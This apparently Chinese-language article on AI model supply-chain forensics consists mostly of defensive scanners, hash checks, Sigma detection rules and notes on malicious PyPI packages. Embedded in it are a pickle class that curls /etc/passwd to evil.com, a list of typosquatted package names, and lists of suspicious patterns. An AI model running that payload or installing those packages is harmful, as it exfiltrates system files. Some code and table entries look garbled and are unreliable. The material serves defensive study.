AI大模型供应链与生态安全取证深度分析

import torch
import numpy as np
from scipy import stats

def analyze_weight_distribution(model_path):
    checkpoint = torch.load(model_path, map_location='cpu')
    if 'state_dict' in checkpoint:
        state_dict = checkpoint['state_dict']
    elif 'model' in checkpoint:
        state_dict = checkpoint['model']
    else:
        state_dict = checkpoint
    results = {}
    for name, param in state_dict.items():
        weights = param.cpu().numpy().flatten()
        shapiro_stat, shapiro_p = stats.shapiro(weights[:min(5000, len(weights))])
        kurtosis = stats.kurtosis(weights)
        skewness = stats.skew(weights)
        q99 = np.percentile(weights, 99)
        q01 = np.percentile(weights, 1)
        iqr = np.percentile(weights, 75) - np.percentile(weights, 25)
        outlier_ratio = np.sum(np.abs(weights - np.mean(weights)) > 5 * np.std(weights)) / len(weights)
        results[name] = {
            'mean': float(np.mean(weights)),
            'std': float(np.std(weights)),
            'kurtosis': float(kurtosis),
            'skewness': float(skewness),
            'shapiro_p': float(shapiro_p),
            'outlier_ratio': float(outlier_ratio),
            'iqr': float(iqr),
            'q99': float(q99),
            'q01': float(q01)
        }
    return results

def detect_anomalous_layers(results, threshold=0.05):
    anomalies = []
    for name, stats_dict in results.items():
        flags = []
        if stats_dict['outlier_ratio'] > 0.02:
            flags.append(f"high_outlier_ratio({stats_dict['outlier_ratio']:.4f})")
        if abs(stats_dict['skewness']) > 2.0:
            flags.append(f"high_skewness({stats_dict['skewness']:.4f})")
        if abs(stats_dict['kurtosis']) > 7.0:
            flags.append(f"high_kurtosis({stats_dict['kurtosis']:.4f})")
        if flags:
            anomalies.append({'layer': name, 'flags': flags, 'stats': stats_dict})
    return anomalies

if __name__ == '__main__':
    import sys
    model_path = sys.argv[1] if len(sys.argv) > 1 else 'model.bin'
    print(f"Analyzing weight distribution: {model_path}")
    results = analyze_weight_distribution(model_path)
    anomalies = detect_anomalous_layers(results)
    if anomalies:
        print(f"\n[!] Detected {len(anomalousLayers := anomalies)} anomalous layers:")
        for a in anomalies:
            print(f"  Layer: {a['layer']}")
            for flag in a['flags']:
                print(f"    - {flag}")
    else:
        print("\n[*] No anomalous layers detected.")
    print(f"\nTotal layers analyzed: {len(results)}")

python3 -c "
import os
import json
from datetime import datetime

def trace_model_origin(model_dir):
    metadata_files = ['config.json', 'modelcard.json', 'README.md', 'training_args.bin']
    print(f'[*] Tracing model origin: {model_dir}')
    for root, dirs, files in os.walk(model_dir):
        for f in files:
            fpath = os.path.join(root, f)
            stat = os.stat(fpath)
            size = stat.st_size
            mtime = datetime.fromtimestamp(stat.st_mtime)
            ctime = datetime.fromtimestamp(stat.st_ctime)
            print(f'  File: {os.path.relpath(fpath, model_dir)}')
            print(f'    Size: {size:,} bytes ({size/1024/1024:.2f} MB)')
            print(f'    Modified: {mtime}')
            print(f'    Created: {ctime}')
            if f.endswith('.bin') or f.endswith('.safetensors'):
                print(f'    [!] Model weight file detected - requires hash verification')
    if os.path.exists(os.path.join(model_dir, '.git')):
        print(f'\n[*] Git repository detected, checking history...')
        os.system(f'cd {model_dir} && git log --oneline -10 2>/dev/null')
    if os.path.exists(os.path.join(model_dir, 'training_args.bin')):
        print(f'\n[*] Training arguments file detected')
        os.system(f'cd {model_dir} && python3 -c \"import torch; args = torch.load(\\\"training_args.bin\\\"); print(args)\" 2>/dev/null || echo \"[!] Cannot parse training_args.bin\"')

trace_model_origin('.')
"

find . -name "*.bin" -o -name "*.safetensors" -o -name "*.onnx" | while read f; do
    sha256=$(shasum -a 256 "$f" | awk '{print $1}')
    size=$(stat -f%z "$f")
    echo "FILE: $f"
    echo "  SHA-256: $sha256"
    echo "  Size: $size bytes"
done

import pickle
import io
import torch

class MaliciousPayload:
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['curl', 'http://evil.com/exfil?data=' + open('/etc/passwd').read()],))

def scan_pickle_model(model_path):
    suspicious_patterns = [
        b'os.system',
        b'subprocess',
        b'exec(',
        b'eval(',
        b'__import__',
        b'builtins',
        b'commands.getoutput',
        b'pickle',
    ]
    with open(model_path, 'rb') as f:
        content = f.read()
    findings = []
    for pattern in suspicious_patterns:
        offset = content.find(pattern)
        if offset != -1:
            context_start = max(0, offset - 32)
            context_end = min(len(content), offset + len(pattern) + 32)
            context = content[context_start:context_end]
            findings.append({
                'pattern': pattern.decode('utf-8', errors='replace'),
                'offset': hex(offset),
                'context': context
            })
    if findings:
        print(f"[!] WARNING: Suspicious patterns found in {model_path}")
        for f in findings:
            print(f"    Pattern: {f['pattern']}")
            print(f"    Offset: {f['offset']}")
    else:
        print(f"[+] No suspicious pickle patterns found in {model_path}")
    return findings

scan_pickle_model('pytorch_model.bin')

import json
import os

def audit_model_metadata(model_dir):
    config_path = os.path.join(model_dir, 'config.json')
    if not os.path.exists(config_path):
        print("[!] No config.json found")
        return
    with open(config_path, 'r') as f:
        config = json.load(f)
    print("[*] Auditing model metadata...")
    suspicious_fields = []
    arch = config.get('architectures', [])
    if arch:
        print(f"  Architectures: {arch}")
    dtype = config.get('torch_dtype')
    if dtype and dtype not in ['float32', 'float16', 'bfloat16', 'int8', 'int4']:
        suspicious_fields.append(f"Unusual torch_dtype: {dtype}")
    init_hook = config.get('init_hook')
    if init_hook:
        suspicious_fields.append(f"init_hook detected: {init_hook}")
    auto_map = config.get('auto_map')
    if auto_map:
        for key, val in auto_map.items():
            print(f"  AutoMap: {key} -> {val}")
    quantization = config.get('quantization_config')
    if quantization:
        print(f"  Quantization config: {json.dumps(quantization, indent=4)}")
    if suspicious_fields:
        print(f"\n[!] Suspicious metadata fields:")
        for s in suspicious_fields:
            print(f"    - {s}")
    else:
        print("\n[+] Metadata appears normal")
    return config

audit_model_metadata('.')

import mlflow
import hashlib
import os

def audit_model_registry(tracking_uri):
    mlflow.set_tracking_uri(tracking_uri)
    client = mlflow.tracking.MlflowClient()
    print("[*] Auditing MLflow Model Registry")
    models = client.search_registered_models()
    print(f"  Found {len(models)} registered models")
    for model in models:
        print(f"\n  Model: {model.name}")
        versions = client.search_model_versions(f"name='{model.name}'")
        for version in versions:
            run = client.get_run(version.run_id)
            artifact_uri = run.info.artifact_uri
            print(f"    Version {version.version}: stage={version.current_stage}, "
                  f"run_id={version.run_id[:16]}...")
            print(f"    Artifact URI: {artifact_uri}")

audit_model_registry("http://localhost:5000")

import hashlib
import json
import os

def compute_model_hashes(model_dir):
    hash_manifest = {}
    model_extensions = ['.bin', '.safetensors', '.onnx', '.pt', '.pth', '.pkl']
    for root, dirs, files in os.walk(model_dir):
        for f in sorted(files):
            if any(f.endswith(ext) for ext in model_extensions):
                fpath = os.path.join(root, f)
                sha256_hash = hashlib.sha256()
                sha512_hash = hashlib.sha512()
                with open(fpath, 'rb') as fh:
                    for chunk in iter(lambda: fh.read(8192), b''):
                        sha256_hash.update(chunk)
                        sha512_hash.update(chunk)
                rel_path = os.path.relpath(fpath, model_dir)
                hash_manifest[rel_path] = {
                    'sha256': sha256_hash.hexdigest(),
                    'sha512': sha512_hash.hexdigest(),
                    'size': os.path.getsize(fpath)
                }
                print(f"  {rel_path}:")
                print(f"    SHA-256: {sha256_hash.hexdigest()}")
                print(f"    SHA-512: {sha512_hash.hexdigest()[:32]}...")
                print(f"    Size: {os.path.getsize(fpath):,} bytes")
    return hash_manifest

def verify_model_integrity(model_dir, manifest_path):
    with open(manifest_path, 'r') as f:
        expected = json.load(f)
    print("[*] Verifying model integrity...")
    all_ok = True
    for rel_path, expected_hashes in expected.items():
        fpath = os.path.join(model_dir, rel_path)
        if not os.path.exists(fpath):
            print(f"  [!] MISSING: {rel_path}")
            all_ok = False
            continue
        with open(fpath, 'rb') as fh:
            actual_sha256 = hashlib.sha256(fh.read()).hexdigest()
        if actual_sha256 != expected_hashes['sha256']:
            print(f"  [!] TAMPERED: {rel_path}")
            print(f"      Expected: {expected_hashes['sha256']}")
            print(f"      Actual:   {actual_sha256}")
            all_ok = False
        else:
            print(f"  [+] OK: {rel_path}")
    if all_ok:
        print("\n[+] Model integrity verification PASSED")
    else:
        print("\n[!] Model integrity verification FAILED")
    return all_ok

manifest = compute_model_hashes('.')
with open('model_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print("\n[*] Manifest saved to model_manifest.json")

import torch
import numpy as np

class ModelWatermarkVerifier:
    def __init__(self, model, secret_key):
        self.model = model
        self.secret_key = secret_key
        self.trigger_patterns = self._generate_triggers()

    def _generate_triggers(self):
        rng = np.random.RandomState(hash(self.secret_key) % (2**31))
        triggers = []
        for i in range(10):
            trigger = torch.from_numpy(rng.randn(1, 3, 224, 224).astype(np.float32))
            triggers.append(trigger)
        return triggers

    def verify_watermark(self, target_label=999):
        self.model.eval()
        verified = 0
        for trigger in self.trigger_patterns:
            with torch.no_grad():
                output = self.model(trigger)
                pred = output.argmax(dim=1).item()
                if pred == target_label:
                    verified += 1
        confidence = verified / len(self.trigger_patterns)
        print(f"[*] Watermark verification: {verified}/{len(self.trigger_patterns)} triggers matched")
        print(f"    Confidence: {confidence:.2%}")
        return confidence > 0.8

def verify_behavior_watermark(model, tokenizer, secret_phrases, expected_responses):
    model.eval()
    matches = 0
    for phrase, expected in zip(secret_phrases, expected_responses):
        inputs = tokenizer(phrase, return_tensors='pt')
        with torch.no_grad():
            outputs = model.generate(**inputs, max_length=50)
            response = tokenizer.decode(outputs[0], skip_special_tokens=True)
        if expected.lower() in response.lower():
            matches += 1
    print(f"[*] Behavior watermark: {matches}/{len(secret_phrases)} matched")
    return matches / len(secret_phrases) > 0.8

import torch
import warnings

def audit_pytorch_loading(path):
    print(f"[*] Auditing PyTorch model loading safety: {path}")
    warnings.filterwarnings('error')
    issues = []
    try:
        checkpoint = torch.load(path, map_location='cpu', weights_only=True)
        print("  [+] Loaded with weights_only=True (SAFE)")
    except Exception as e:
        print(f"  [!] Loading with weights_only=True failed: {e}")
        issues.append("WEIGHTS_ONLY_FAILED")
    try:
        checkpoint = torch.load(path, map_location='cpu', weights_only=False)
        print("  [!] Loaded with weights_only=False (UNSAFE)")
        issues.append("UNSAFE_PICKLE_LOADING")
    except Exception as e:
        print(f"  [!] Even unsafe loading failed: {e}")
    return issues

audit_pytorch_loading('model.bin')

dmesg | grep -i -E "(nvidia|cuda|gpu|nvrm)" | tail -50
cat /var/log/nvidia-*.log 2>/dev/null | tail -100
nvidia-smi -q 2>/dev/null | head -50

title: Suspicious Model Download via HuggingFace CLI
id: 8a1b2c3d-4e5f-6789-abcd-ef0123456789
status: experimental
description: Detects suspicious model downloads from HuggingFace that may indicate supply chain compromise
author: AI Security Blue Team
date: 2026/08/01
tags:
  - attack.supply_chain
  - attack.t1195.002
  - ai_security
logsource:
  category: process_creation
  product: linux
detection:
  selection_hf_download:
    Image|endswith:
      - '/huggingface-cli'
      - '/hf'
    CommandLine|contains:
      - 'huggingface-cli download'
      - 'huggingface_hub snapshot'
  selection_wget_curl_model:
    CommandLine|contains|all:
      - 'huggingface.co'
      - '.bin'
  selection_pip_install_unknown:
    CommandLine|contains|all:
      - 'pip install'
      - 'torch'
  filter_known_sources:
    CommandLine|contains:
      - 'huggingface.co/meta-llama'
      - 'huggingface.co/google'
      - 'huggingface.co/microsoft'
  condition: selection_hf_download or selection_wget_curl_model or (selection_pip_install_unknown and not filter_known_sources)
level: suspicious
falsepositives:
  - Legitimate model downloads from trusted sources

title: Malicious PyPI ML Package Installation
id: 9b2c3d4e-5f6a-7890-bcde-f01234567890
status: experimental
description: Detects installation of known malicious or typosquatting PyPI ML packages
author: AI Security Blue Team
date: 2026/08/01
tags:
  - attack.supply_chain
  - attack.t1195.002
  - ai_security
logsource:
  category: process_creation
  product: linux
detection:
  selection_pip_install:
    Image|endswith:
      - '/pip'
      - '/pip3'
      - '/python'
      - '/python3'
    CommandLine|contains: 'pip install'
  selection_known_malicious:
    CommandLine|contains:
      - 'pytorch'
      - 'tensroflow'
      - 'tensorflow-gpu'
      - 'pytorh'
      - 'transfromers'
      - 'torkch'
      - 'catboost-ml'
      - 'openai-whisper'
      - 'torchx'
      - 'skleran'
  selection_suspicious_install:
    CommandLine|contains|all:
      - 'pip install'
      - '--pre'
    CommandLine|contains:
      - 'torch'
      - 'tensorflow'
      - 'transformers'
  condition: selection_pip_install and (selection_known_malicious or selection_suspicious_install)
level: critical
falsepositives:
  - None for known malicious packages
  - Legitimate pre-release testing for suspicious install

title: MLflow Unauthorized Access Attempt
id: 0c3d4e5f-6a7b-8901-cdef-012345678901
status: experimental
description: Detects unauthorized access attempts to MLflow experiment tracking platform
author: AI Security Blue Team
date: 2026/08/01
tags:
  - attack.credential_access
  - attack.t1078
  - ai_security
logsource:
  category: webserver
  product: apache
detection:
  selection_mlflow_api:
    cs-uri-stem|contains:
      - '/api/2.0/mlflow/'
      - '/api/2.0/preview/mlflow/'
  selection_mlflow_ui:
    cs-uri-stem|contains:
      - '/mlflow/'
      - '/experiments/'
      - '/models/'
      - '/artifacts/'
  selection_mlflow_artifacts:
    cs-uri-stem|contains: '/mlflow-artifacts/'
  filter_authenticated:
    cs-cookie|contains: 'session_id'
  condition: (selection_mlflow_api or selection_mlflow_ui or selection_mlflow_artifacts) and not filter_authenticated
level: warning
falsepositives:
  - Initial page load before authentication

#!/bin/bash
TARGET_DIR="${1:-.}"
REPORT_FILE="ai_model_scan_report_$(date +%Y%m%d_%H%M%S).txt"
echo "=============================================" > "$REPORT_FILE"
echo "AI Model Repository Security Scanner" >> "$REPORT_FILE"
echo "Scan Time: $(date)" >> "$REPORT_FILE"
echo "Target: $TARGET_DIR" >> "$REPORT_FILE"
echo "=============================================" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"
echo "[Phase 1] Scanning for model weight files..." >> "$REPORT_FILE"
find "$TARGET_DIR" \( -name "*.bin" -o -name "*.safetensors" -o -name "*.onnx" -o -name "*.pt" -o -name "*.pth" -o -name "*.h5" -o -name "*.pkl" \) -type f 2>/dev/null | while read f; do
    size=$(stat -f%z "$f" 2>/dev/null || stat --format=%s "$f" 2>/dev/null)
    sha256=$(shasum -a 256 "$f" | awk '{print $1}')
    echo "FILE: $f" >> "$REPORT_FILE"
    echo "  Size: $size bytes" >> "$REPORT_FILE"
    echo "  SHA-256: $sha256" >> "$REPORT_FILE"
    if [[ "$f" == *.bin ]] || [[ "$f" == *.pkl ]]; then
        echo "  FORMAT: Pickle (potentially unsafe)" >> "$REPORT_FILE"
        strings "$f" | grep -iE "(os\.system|subprocess|exec\(|eval\(|__import__|builtins|socket\.connect|urllib)" | head -5 | while read line; do
            echo "  [!] SUSPICIOUS: $line" >> "$REPORT_FILE"
        done
    elif [[ "$f" == *.safetensors ]]; then
        echo "  FORMAT: SafeTensors (safer)" >> "$REPORT_FILE"
    elif [[ "$f" == *.onnx ]]; then
        echo "  FORMAT: ONNX" >> "$REPORT_FILE"
    fi
    echo "" >> "$REPORT_FILE"
done
echo "[Phase 2] Scanning for suspicious Python imports..." >> "$REPORT_FILE"
find "$TARGET_DIR" -name "*.py" -type f 2>/dev/null | while read f; do
    hits=$(grep -n -E "(pickle\.load|torch\.load.*weights_only\s*=\s*False|yaml\.load.*Loader|subprocess\.call|os\.system|exec\()" "$f" 2>/dev/null)
    if [ -n "$hits" ]; then
        echo "FILE: $f" >> "$REPORT_FILE"
        echo "$hits" | while read line; do
            echo "  $line" >> "$REPORT_FILE"
        done
        echo "" >> "$REPORT_FILE"
    fi
done
echo "[Phase 3] Checking for lock files and dependency pinning..." >> "$REPORT_FILE"
find "$TARGET_DIR" \( -name "requirements.txt" -o -name "requirements.lock" -o -name "setup.py" -o -name "pyproject.toml" \) -type f 2>/dev/null | while read f; do
    echo "FILE: $f" >> "$REPORT_FILE"
    if [[ "$f" == *requirements* ]]; then
        total=$(grep -c "==" "$f" 2>/dev/null || echo 0)
        unpinned=$(grep -cvE "(==|>=|<=|~=|!=)" "$f" 2>/dev/null || echo 0)
        echo "  Pinned: $total, Unpinned: $unpinned" >> "$REPORT_FILE"
        if [ "$unpinned" -gt 0 ]; then
            echo "  [!] WARNING: Unpinned dependencies detected" >> "$REPORT_FILE"
            grep -vE "(==|>=|<=|~=|!)" "$f" | grep -v "^#" | grep -v "^$" | head -5 | while read line; do
                echo "    - $line" >> "$REPORT_FILE"
            done
        fi
    fi
    echo "" >> "$REPORT_FILE"
done
echo "[Phase 4] Checking for Docker and container files..." >> "$REPORT_FILE"
find "$TARGET_DIR" \( -name "Dockerfile" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" \) -type f 2>/dev/null | while read f; do
    echo "FILE: $f" >> "$REPORT_FILE"
    grep -n -E "(FROM|RUN|COPY|ADD|EXPOSE|CMD|ENTRYPOINT)" "$f" | head -20 | while read line; do
        echo "  $line" >> "$REPORT_FILE"
    done
    echo "" >> "$REPORT_FILE"
done
echo "[Phase 5] Checking for environment files and secrets..." >> "$REPORT_FILE"
find "$TARGET_DIR" \( -name ".env" -o -name ".env.local" -o -name "*.env" -o -name "credentials.json" -o -name "token.json" \) -type f 2>/dev/null | while read f; do
    echo "[!] FOUND: $f" >> "$REPORT_FILE"
done
find "$TARGET_DIR" -name "*.py" -type f 2>/dev/null | xargs grep -l -E "(API_KEY|SECRET|TOKEN|PASSWORD).*=.*['\"].*['\"]" 2>/dev/null | while read f; do
    echo "[!] HARDCODED SECRET in: $f" >> "$REPORT_FILE"
done
echo "" >> "$REPORT_FILE"
echo "=============================================" >> "$REPORT_FILE"
echo "Scan Complete: $(date)" >> "$REPORT_FILE"
echo "Report: $REPORT_FILE" >> "$REPORT_FILE"
echo "=============================================" >> "$REPORT_FILE"
cat "$REPORT_FILE"

import os
import sys
import json
import hashlib
import struct
import pickle
import io
from pathlib import Path

class ModelSecurityAnalyzer:
    SUSPICIOUS_PICKLE_OPCODES = [
        b'os.system', b'subprocess', b'exec(', b'eval(',
        b'__import__', b'builtins', b'compile(',
        b'commands.getoutput', b'webbrowser.open',
        b'urllib', b'requests.get', b'socket.',
        b'paramiko', b'sshconnect',
    ]
    SUSPICIOUS_PICKLE_GLOBALS = [
        'os', 'subprocess', 'sys', 'webbrowser',
        'urllib', 'http', 'socket', 'paramiko',
    ]
    MODEL_EXTENSIONS = {'.bin', '.safetensors', '.onnx', '.pt', '.pth', '.pkl', '.h5', '.joblib'}

    def __init__(self, target_path):
        self.target_path = Path(target_path)
        self.findings = []

    def scan(self):
        if self.target_path.is_file():
            self._analyze_file(self.target_path)
        elif self.target_path.is_dir():
            for root, dirs, files in os.walk(self.target_path):
                for f in files:
                    fpath = Path(root) / f
                    if fpath.suffix.lower() in self.MODEL_EXTENSIONS:
                        self._analyze_file(fpath)
        return self.findings

    def _analyze_file(self, filepath):
        finding = {
            'file': str(filepath),
            'size': filepath.stat().st_size,
            'sha256': self._compute_sha256(filepath),
            'extension': filepath.suffix,
            'risks': []
        }
        if filepath.suffix.lower() in {'.bin', '.pkl', '.pt', '.pth'}:
            self._scan_pickle(filepath, finding)
        elif filepath.suffix.lower() == '.safetensors':
            self._scan_safetensors(filepath, finding)
        elif filepath.suffix.lower() == '.onnx':
            self._scan_onnx(filepath, finding)
        if finding['risks']:
            self.findings.append(finding)

    def _compute_sha256(self, filepath):
        sha256 = hashlib.sha256()
        with open(filepath, 'rb') as f:
            for chunk in iter(lambda: f.read(8192), b''):
                sha256.update(chunk)
        return sha256.hexdigest()

    def _scan_pickle(self, filepath, finding):
        try:
            with open(filepath, 'rb') as f:
                content = f.read()
            for pattern in self.SUSPICIOUS_PICKLE_OPCODES:
                offset = content.find(pattern)
                if offset != -1:
                    finding['risks'].append({
                        'type': 'PICKLE_SUSPICIOUS_PATTERN',
                        'severity': 'CRITICAL',
                        'detail': f'Suspicious pattern: {pattern.decode("utf-8", errors="replace")} at offset {hex(offset)}'
                    })
            for global_name in self.SUSPICIOUS_PICKLE_GLOBALS:
                pattern = f'c{global_name}\n'.encode()
                if pattern in content:
                    finding['risks'].append({
                        'type': 'PICKLE_GLOBAL_IMPORT',
                        'severity': 'HIGH',
                        'detail': f'Pickle imports module: {global_name}'
                    })
            try:
                fp = io.BytesIO(content)
                unpickler = pickle.Unpickler(fp)
                count = 0
                while True:
                    try:
                        obj = unpickler.load()
                        count += 1
                        if count > 1000:
                            break
                    except EOFError:
                        break
            except Exception as e:
                finding['risks'].append({
                    'type': 'PICKLE_LOAD_ERROR',
                    'severity': 'MEDIUM',
                    'detail': f'Pickle load error: {str(e)}'
                })
        except Exception as e:
            finding['risks'].append({
                'type': 'ANALYSIS_ERROR',
                'severity': 'INFO',
                'detail': f'Could not analyze pickle file: {str(e)}'
            })

    def _scan_safetensors(self, filepath, finding):
        try:
            with open(filepath, 'rb') as f:
                header_size_bytes = f.read(8)
                header_size = struct.unpack('<Q', header_size_bytes)[0]
                if header_size > 100 * 1024 * 1024:
                    finding['risks'].append({
                        'type': 'SAFETENSORS_LARGE_HEADER',
                        'severity': 'HIGH',
                        'detail': f'Abnormally large header: {header_size} bytes'
                    })
                header_bytes = f.read(min(header_size, 10 * 1024 * 1024))
                header = json.loads(header_bytes.decode('utf-8'))
                total_tensor_size = 0
                tensor_count = 0
                for key, value in header.items():
                    if key == '__metadata__':
                        continue
                    tensor_count += 1
                    if isinstance(value, dict):
                        data_offsets = value.get('data_offsets', [0, 0])
                        if len(data_offsets) == 2:
                            total_tensor_size += data_offsets[1] - data_offsets[0]
                finding['tensor_count'] = tensor_count
                finding['total_tensor_size'] = total_tensor_size
        except Exception as e:
            finding['risks'].append({
                'type': 'SAFETENSORS_PARSE_ERROR',
                'severity': 'MEDIUM',
                'detail': f'Could not parse safetensors: {str(e)}'
            })

    def _scan_onnx(self, filepath, finding):
        try:
            with open(filepath, 'rb') as f:
                magic = f.read(4)
                if magic != b'\x08\x07':
                    finding['risks'].append({
                        'type': 'ONNX_INVALID_MAGIC',
                        'severity': 'MEDIUM',
                        'detail': f'Invalid ONNX magic bytes: {magic.hex()}'
                    })
        except Exception as e:
            finding['risks'].append({
                'type': 'ONNX_PARSE_ERROR',
                'severity': 'MEDIUM',
                'detail': f'Could not parse ONNX: {str(e)}'
            })

    def generate_report(self):
        report = {
            'scan_time': __import__('datetime').datetime.now().isoformat(),
            'target': str(self.target_path),
            'total_findings': len(self.findings),
            'critical': sum(1 for f in self.findings if any(r['severity'] == 'CRITICAL' for r in f['risks'])),
            'high': sum(1 for f in self.findings if any(r['severity'] == 'HIGH' for r in f['risks'])),
            'medium': sum(1 for f in self.findings if any(r['severity'] == 'MEDIUM' for r in f['risks'])),
            'findings': self.findings
        }
        return report

if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else '.'
    analyzer = ModelSecurityAnalyzer(target)
    results = analyzer.scan()
    report = analyzer.generate_report()
    print(f"\n{'='*60}")
    print(f"AI Model Security Analysis Report")
    print(f"{'='*60}")
    print(f"Target: {report['target']}")
    print(f"Total findings: {report['total_findings']}")
    print(f"  CRITICAL: {report['critical']}")
    print(f"  HIGH: {report['high']}")
    print(f"  MEDIUM: {report['medium']}")
    print(f"{'='*60}")
    for finding in results:
        print(f"\nFile: {finding['file']}")
        print(f"  SHA-256: {finding['sha256'][:32]}...")
        print(f"  Size: {finding['size']:,} bytes")
        for risk in finding['risks']:
            print(f"  [{risk['severity']}] {risk['type']}: {risk['detail']}")
    output_file = f"model_security_report_{__import__('time').strftime('%Y%m%d_%H%M%S')}.json"
    with open(output_file, 'w') as f:
        json.dump(report, f, indent=2)
    print(f"\n[*] Report saved to: {output_file}")

curl -s -L "https://huggingface.co/api/models/suspicious-model-repo" | python3 -m json.tool
strings pytorch_model.bin | grep -iE "(subprocess|os\.system|curl|wget|requests\.get|socket)"
python3 -c "
import pickle, sys
with open('pytorch_model.bin', 'rb') as f:
    try:
        pickle.load(f)
    except Exception as e:
        print(f'Pickle error: {e}')
"

pip download pytorch==999.999.999 --no-deps -d /tmp/suspicious_pkg 2>/dev/null
cd /tmp/suspicious_pkg
unzip *.whl -d extracted 2>/dev/null || tar xzf *.tar.gz 2>/dev/null
find extracted -name "setup.py" -o -name "*.py" | xargs grep -n "exec\|eval\|subprocess\|os\.system\|requests\.post\|socket\.connect"
find extracted -name "*.py" -path "*/hooks/*" -o -name "post_install*" | head -10

---

## 0x04 Python ML生态供应链攻击

### 恶意PyPI包攻击

Python Package Index (PyPI) 是 Python ML 生态的核心包管理平台，也是供应链攻击最活跃的阵地之一。针对 ML 生态的恶意 PyPI 包攻击主要有以下形式：

**typosquatting（仿冒包攻击）**：攻击者注册与流行 ML 库名称相似的包名，利用开发者的拼写错误进行分发。

| 恶意包名 | 仿冒目标 | 恶意行为 | 发现时间 |
|---------|---------|---------|---------|
| pytorch | torch | 窃取系统信息和SSH密钥 | 2022年 |
| tensroflow | tensorflow | 窃取浏览器凭证 | 2023年 |
| tensorflow-gpu | tensorflow | 加密货币挖矿 | 2023年 |
| pytorh | torch | 窃取环境变量和Token | 2024年 |
| transfromers | transformers | 信息收集和C2通信 | 2024年 |
| torkch | torch | 凭证窃取和远程控制 | 2024年 |
| catboost | catboost | 加密货币挖矿 | 2023年 |
| openai-whisper | openai | 数据窃取 | 2024年 |

**依赖混淆攻击（Dependency Confusion）**：攻击者在公开包仓库上发布与企业内部包同名但版本更高的包，利用包管理器的版本解析逻辑，使企业环境在安装时优先下载恶意的公开版本。在 ML 领域，此类攻击可以针对自定义的训练脚本、数据处理工具和模型部署脚本。

```bash
pip-audit --desc --fix --dry-run 2>&1 | head -50

import subprocess
import json

def audit_ml_packages():
    result = subprocess.run(
        ['pip', 'list', '--format', 'json'],
        capture_output=True, text=True
    )
    packages = json.loads(result.stdout)
    ml_packages = [p for p in packages if any(
        kw in p['name'].lower() for kw in [
            'torch', 'tensorflow', 'keras', 'transformers',
            'numpy', 'pandas', 'scikit', 'xgboost', 'lightgbm',
            'onnx', 'triton', 'accelerate', 'diffusers',
            'mlflow', 'wandb', 'ray', 'dask'
        ]
    )]
    print(f"[*] Found {len(ml_packages)} ML-related packages:")
    for pkg in ml_packages:
        print(f"  {pkg['name']}=={pkg['version']}")
    result = subprocess.run(
        ['pip-audit', '--format', 'json'],
        capture_output=True, text=True
    )
    if result.returncode == 0:
        audit_results = json.loads(result.stdout) if result.stdout else {}
        vulns = audit_results.get('dependencies', [])
        vulnerable = [v for v in vulns if v.get('vulns')]
        if vulnerable:
            print(f"\n[!] Found {len(vulnerable)} vulnerable packages:")
            for v in vulnerable:
                print(f"  {v['name']}: {len(v['vulns'])} vulnerabilities")
        else:
            print("\n[+] No known vulnerabilities found")
    return ml_packages

audit_ml_packages()

import pkg_resources
import json

def map_ml_dependency_tree():
    ml_core = ['torch', 'tensorflow', 'transformers', 'numpy', 'scipy']
    tree = {}
    for dist in pkg_resources.working_set:
        if dist.project_name.lower().replace('-', '') in [m.replace('-', '') for m in ml_core]:
            deps = [str(req) for req in dist.requires()]
            tree[dist.project_name] = {
                'version': dist.version,
                'dependencies': deps,
                'dep_count': len(deps)
            }
    print(f"[*] ML core package dependency map:")
    total_deps = 0
    for pkg, info in tree.items():
        print(f"\n  {pkg}=={info['version']}")
        print(f"    Direct dependencies: {info['dep_count']}")
        total_deps += info['dep_count']
        for d in info['dependencies'][:10]:
            print(f"      - {d}")
        if info['dep_count'] > 10:
            print(f"      ... and {info['dep_count'] - 10} more")
    print(f"\n[*] Total direct dependency entries: {total_deps}")
    return tree

map_ml_dependency_tree()

pip freeze | while read pkg; do
    name=$(echo "$pkg" | cut -d'=' -f1)
    version=$(echo "$pkg" | cut -d'=' -f3)
    echo "=== $name ($version) ==="
    pip show "$name" 2>/dev/null | grep -E "^(Name|Version|Author|Home-page|Location)"
    echo ""
done

import hashlib
import os
import json

def audit_dataset_cache(cache_dir=None):
    if cache_dir is None:
        cache_dir = os.path.expanduser("~/.cache/huggingface/datasets")
    if not os.path.exists(cache_dir):
        print(f"[!] Cache directory not found: {cache_dir}")
        return
    print(f"[*] Auditing HuggingFace dataset cache: {cache_dir}")
    dataset_dirs = []
    for root, dirs, files in os.walk(cache_dir):
        arrow_files = [f for f in files if f.endswith('.arrow')]
        if arrow_files:
            dataset_dirs.append((root, arrow_files))
    print(f"[*] Found {len(dataset_dirs)} cached datasets")
    for root, arrow_files in dataset_dirs:
        rel_path = os.path.relpath(root, cache_dir)
        print(f"\n  Dataset: {rel_path}")
        total_size = 0
        for af in arrow_files:
            af_path = os.path.join(root, af)
            af_size = os.path.getsize(af_path)
            total_size += af_size
            sha256 = hashlib.sha256(open(af_path, 'rb').read()).hexdigest()
            print(f"    {af}: {af_size:,} bytes, SHA-256: {sha256[:16]}...")
        print(f"    Total size: {total_size:,} bytes ({total_size/1024/1024:.2f} MB)")

audit_dataset_cache()

import pandas as pd
import numpy as np
from collections import Counter

def audit_data_cleaning_pipeline(dataset_path, original_path=None):
    print(f"[*] Auditing data cleaning pipeline")
    if dataset_path.endswith('.csv'):
        cleaned_data = pd.read_csv(dataset_path)
    elif dataset_path.endswith('.jsonl'):
        cleaned_data = pd.read_json(dataset_path, lines=True)
    else:
        print(f"[!] Unsupported format: {dataset_path}")
        return
    print(f"[*] Cleaned dataset stats:")
    print(f"  Total samples: {len(cleaned_data)}")
    print(f"  Features: {list(cleaned_data.columns)}")
    label_col = None
    for col in cleaned_data.columns:
        if 'label' in col.lower() or 'class' in col.lower() or 'category' in col.lower():
            label_col = col
            break
    if label_col:
        label_dist = cleaned_data[label_col].value_counts()
        print(f"\n  Label distribution ({label_col}):")
        for label, count in label_dist.items():
            ratio = count / len(cleaned_data)
            print(f"    {label}: {count} ({ratio:.4f})")
    if original_path:
        if original_path.endswith('.csv'):
            original_data = pd.read_csv(original_path)
        else:
            original_data = pd.read_json(original_path, lines=True)
        removed_ratio = 1 - len(cleaned_data) / len(original_data)
